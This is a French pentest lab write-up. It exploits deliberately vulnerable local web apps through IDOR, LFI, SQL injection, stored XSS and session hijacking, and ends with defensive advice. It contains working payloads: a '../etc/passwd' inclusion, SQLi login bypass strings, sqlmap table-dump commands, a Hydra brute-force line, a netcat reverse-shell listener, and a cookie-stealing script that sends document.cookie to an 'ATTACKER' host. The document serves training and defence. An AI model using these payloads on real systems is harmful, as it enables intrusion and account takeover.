Web Application Pentest Lab - IDOR, LFI, SQLi and Stored XSS

Introduction

#

Ce projet transforme un ensemble de labs web en un projet personnel complet autour du pentest applicatif.

L’objectif est de documenter plusieurs scénarios d’exploitation web réalistes, depuis la manipulation de requêtes HTTP jusqu’à la compromission d’un compte administrateur via XSS stockée.

Les exercices couvrent plusieurs familles de vulnérabilités OWASP:

• mauvaise gestion des contrôles d’accès
• injection SQL
• inclusion de fichiers locaux
• XSS stockée
• session hijacking
• exposition de secrets applicatifs

Environnement

#

Les applications vulnérables sont exposées via plusieurs virtual hosts locaux:

• tp1.esdown.local
• tp2.esdown.local
• tp3.esdown.local
• tp4.esdown.local

Les plateformes d’entraînement utilisées incluent notamment:

• bWAPP
• DVWA
• OWASP Juice Shop
• OWASP WebGoat
• applications custom vulnérables

Outils utilisés:

Périmètre et règles d’engagement

#

Les commandes de cet article sont prévues pour des applications volontairement vulnérables, isolées et explicitement autorisées. Avant le test, le périmètre est matérialisé par quatre éléments :

Cette discipline évite qu’une preuve technique soit confondue avec une autorisation implicite. Elle rend aussi le lab répétable : un résultat doit pouvoir être reproduit après restauration, sans dépendre d’un état résiduel.

Cartographie OWASP Top 10:2025

#

Les vulnérabilités du lab se rattachent surtout aux causes racines suivantes :

TP1 - Manipulation avancée de requêtes HTTP

#

Le premier scénario vise à comprendre la mécanique HTTP en profondeur.

Objectifs:

• intercepter une requête
• modifier la méthode HTTP
• manipuler les headers
• ajouter un paramètre POST
• contourner une logique applicative faible

Interception avec Burp Suite

#

Burp Suite est configuré comme proxy HTTP.

La requête est interceptée, puis analysée:

GET /challenge HTTP/1.1
Host: tp1.esdown.local
User-Agent: Mozilla/5.0

Modification de méthode

#

Une logique applicative peut parfois dépendre uniquement de la méthode utilisée.

Exemple:

POST /challenge HTTP/1.1
Host: tp1.esdown.local
Content-Type: application/x-www-form-urlencoded

Manipulation des headers

#

Headers testés:

User-Agent: admin
Referer: http://tp1.esdown.local/admin
Content-Type: application/x-www-form-urlencoded

Ce type d’exercice montre pourquoi les headers client ne doivent jamais être utilisés comme source de confiance.

TP2 - Chaîne d’exploitation web complète

#

Le second scénario combine plusieurs vulnérabilités dans une chaîne d’attaque.

Chaîne simplifiée:

1. création d’un utilisateur
2. découverte d’endpoints
3. exploitation d’une IDOR
4. exploitation d’une LFI
5. tentative de RFI
6. reverse shell
7. post-exploitation
8. exfiltration contrôlée du code source
9. analyse de secrets
10. exploration système

Le schéma distingue le point d’entrée du composant qui doit prendre la décision de sécurité. Une même requête HTTP peut traverser correctement le proxy et le serveur web tout en échouant au niveau de l’autorisation, de la résolution de chemin, de la requête SQL ou du contexte de rendu.

Énumération

#

Découverte de répertoires:

gobuster dir -u http://tp2.esdown.local/ \
  -w /usr/share/wordlists/dirb/big.txt \
  -x php -b 400,401,403,404

Objectifs:

• trouver les pages cachées
• identifier les endpoints utilisateurs
• repérer les fichiers PHP
• comprendre les rôles et flux applicatifs

IDOR - Insecure Direct Object Reference

#

Une IDOR apparaît lorsqu’une ressource est accessible via un identifiant modifiable sans contrôle d’autorisation suffisant.

Exemple conceptuel:

GET /profile.php?id=2 HTTP/1.1
Host: tp2.esdown.local

Si un utilisateur peut changer id=2 en id=1 et accéder au profil d’un autre utilisateur, l’application présente une faille de contrôle d’accès.

Impact:

• fuite de données utilisateurs
• accès à des objets non autorisés
• escalade fonctionnelle

LFI - Local File Inclusion

#

Une LFI apparaît lorsqu’une application transmet une entrée contrôlable à un mécanisme d’inclusion de fichiers. Elle peut conduire à la lecture d’un fichier, mais il faut la distinguer d’un simple path traversal : l’impact dépend de la fonction appelée, des droits du processus et du fait que le contenu soit interprété ou seulement renvoyé.

Exemple conceptuel:

GET /view.php?page=../../../../etc/passwd HTTP/1.1
Host: tp2.esdown.local

Fichiers intéressants en lab:

/etc/passwd
/var/www/html/config.php
/var/log/apache2/access.log

Risques:

• fuite de code source
• exposition de credentials
• pivot vers exécution de code uniquement si un fichier contrôlable peut être inclus dans un contexte interprété

Reverse shell et post-exploitation

#

Après identification d’un chemin exploitable, un reverse shell peut être déclenché en environnement contrôlé.

Listener:

nc -lvnp 4444

Stabilisation:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Post-exploitation:

id
hostname
pwd
ls -la
find /var/www -type f -name "*.php"

Analyse du code source

#

L’accès au code source permet de comprendre la logique applicative et de retrouver des secrets.

Points à rechercher:

• identifiants hardcodés
• clés API
• secrets JWT
• credentials base de données
• fonctions dangereuses (eval, system, exec)
• absence de validation serveur

TP3 - SQL Injection

#

Le troisième scénario se concentre sur une injection SQL.

Objectifs:

• détecter une injection
• contourner une authentification
• énumérer la base
• extraire des données sensibles
• comprendre l’impact métier

Test manuel

#

Payload classique:

' OR '1'='1

Exemple dans un champ login:

admin' OR '1'='1-- -

Exploitation avec SQLMap

#

sqlmap -u "http://tp3.esdown.local/login.php" \
  --data="username=test&password=test" \
  --batch --dbs

Énumération:

sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" --tables
sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" -T users --dump

Impact:

• contournement d’authentification
• extraction d’utilisateurs
• extraction de partenaires ou données métier
• risque de compromission complète si le compte DB est trop privilégié

TP4 - XSS stockée et compromission admin

#

Le quatrième scénario documente une XSS stockée menant au vol de cookie administrateur.

Force brute contrôlée

#

Une tentative Hydra est réalisée contre le formulaire de login, mais ne donne pas de résultat valide.

hydra -l admin -P admin-pass.txt tp4.esdown.local http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

Cela confirme que la compromission ne vient pas d’un mot de passe faible dans ce scénario.

Découverte de la XSS stockée

#

Une zone de commentaire ou de profil accepte du HTML/JavaScript sans encodage correct.

Payload de test:

<script>alert(1)</script>

Si le script se rejoue lors de la consultation par un autre utilisateur, la faille est stockée.

Démonstration d’impact sur la session

#

Le scénario de vol de cookie ne fonctionne que si le jeton est accessible à JavaScript, donc sans attribut HttpOnly, et si les politiques du navigateur autorisent la connexion sortante. Une CSP restrictive peut bloquer la requête, mais elle reste une défense complémentaire : elle ne corrige pas la XSS.

Payload conceptuel strictement limité au lab :

<script>
fetch('http://ATTACKER:8000/?c=' + document.cookie)
</script>

Listener:

python3 -m http.server 8000

Impact:

• vol de session
• usurpation du compte administrateur
• modification de mot de passe
• accès à des fonctions privilégiées

Session hijacking

#

Une fois le cookie récupéré dans le lab, il est réinjecté dans le navigateur.

Étapes:

1. récupérer la valeur du cookie
2. ouvrir DevTools
3. remplacer le cookie de session
4. recharger la page admin

Résultat attendu:

• accès administrateur sans connaître le mot de passe

La validation défensive ne s’arrête pas à HttpOnly. Ce drapeau empêche document.cookie de lire le jeton, mais une XSS peut encore agir au nom de la victime. Il faut également supprimer la cause de l’injection, appliquer Secure et une politique SameSite adaptée, faire tourner l’identifiant après authentification ou changement de privilège, et révoquer la session côté serveur.

Vulnérabilités identifiées

#

Chaîne de preuve et critères de réussite

#

Recommandations défensives

#

Côté développement

#

• utiliser des requêtes préparées
• encoder toutes les sorties HTML
• valider les entrées côté serveur
• centraliser les contrôles d’autorisation
• ne jamais faire confiance aux headers client

Côté infrastructure

#

• isoler les applications vulnérables
• protéger les interfaces admin
• durcir les cookies
• journaliser les actions sensibles
• détecter les patterns d’exploitation

Côté SOC

#

À surveiller:

• payloads SQLi dans les logs
• <script> dans les champs utilisateurs
• accès anormaux à /etc/passwd
• création soudaine de sessions admin
• requêtes vers IP externe depuis une page admin

Ce que ce projet m’a apporté

#

Ce projet m’a permis de travailler une chaîne web complète:

• interception HTTP
• exploitation manuelle
• automatisation contrôlée
• post-exploitation web
• analyse de code source
• raisonnement défensif OWASP

Conclusion

#

Ce lab montre qu’une application web vulnérable ne tombe pas toujours à cause d’une seule faille critique. C’est souvent l’enchaînement de faiblesses qui permet d’obtenir un impact majeur.

La correction doit donc combiner secure coding, contrôle d’accès, gestion de session, monitoring et tests réguliers.

Références techniques

#

• OWASP Top 10:2025 : https://owasp.org/Top10/2025/0x00_2025-Introduction/
• OWASP Web Security Testing Guide, tests d’autorisation : https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/
• OWASP WSTG, inclusion de fichiers : https://wstg.owasp.org/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_Inclusion/
• OWASP, prévention XSS : https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
• OWASP, gestion des sessions : https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html